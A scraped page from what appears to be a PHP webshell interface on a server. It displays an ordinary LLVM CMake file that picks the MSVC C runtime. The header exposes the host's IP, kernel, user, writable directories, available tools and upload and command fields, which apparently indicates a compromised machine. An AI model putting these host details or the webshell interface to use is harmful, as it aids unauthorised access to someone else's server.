403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/llvm-17/cmake/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/llvm-17/cmake/ChooseMSVCCRT.cmake
# The macro choose_msvc_crt() takes a list of possible
# C runtimes to choose from, in the form of compiler flags,
# to present to the user. (MTd for /MTd, etc)
#
# The macro is invoked at the end of the file.
#
# This mechanism is deprecated, but kept for transitioning users.
#
# This reads the LLVM_USE_CRT_<CONFIG> options and sets
# CMAKE_MSVC_RUNTIME_LIBRARY accordingly. The previous mechanism allowed
# setting different choices for different build configurations (for
# multi-config generators), but translating multiple differing choices to
# the corresponding CMAKE_MSVC_RUNTIME_LIBRARY generator expression isn't
# supported by this transitional helper.

macro(choose_msvc_crt MSVC_CRT)
  if(LLVM_USE_CRT)
    message(FATAL_ERROR
      "LLVM_USE_CRT is deprecated. Use the CMAKE_BUILD_TYPE-specific
variables (LLVM_USE_CRT_DEBUG, etc) instead.")
  endif()

  foreach(build_type ${CMAKE_CONFIGURATION_TYPES} ${CMAKE_BUILD_TYPE})
    string(TOUPPER "${build_type}" build)
    if (NOT "${LLVM_USE_CRT_${build}}" STREQUAL "")
      if (NOT ${LLVM_USE_CRT_${build}} IN_LIST ${MSVC_CRT})
        message(FATAL_ERROR
          "Invalid value for LLVM_USE_CRT_${build}: ${LLVM_USE_CRT_${build}}. Valid options are one of: ${${MSVC_CRT}}")
      endif()
      set(library "MultiThreaded")
      if ("${LLVM_USE_CRT_${build}}" MATCHES "d$")
        set(library "${library}Debug")
      endif()
      if ("${LLVM_USE_CRT_${build}}" MATCHES "^MD")
        set(library "${library}DLL")
      endif()
      if(${runtime_library_set})
        message(WARNING "Conflicting LLVM_USE_CRT_* options")
      else()
        message(WARNING "The LLVM_USE_CRT_* options are deprecated, use the CMake provided CMAKE_MSVC_RUNTIME_LIBRARY setting instead")
      endif()
      set(CMAKE_MSVC_RUNTIME_LIBRARY "${library}" CACHE STRING "" FORCE)
      message(STATUS "Using VC++ CRT: ${CMAKE_MSVC_RUNTIME_LIBRARY}")
      set(runtime_library_set 1)
    endif()
  endforeach(build_type)
endmacro(choose_msvc_crt MSVC_CRT)


# List of valid CRTs for MSVC
set(MSVC_CRT
  MD
  MDd
  MT
  MTd)

choose_msvc_crt(MSVC_CRT)


Youez - 2016 - github.com/yon3zu
LinuXploit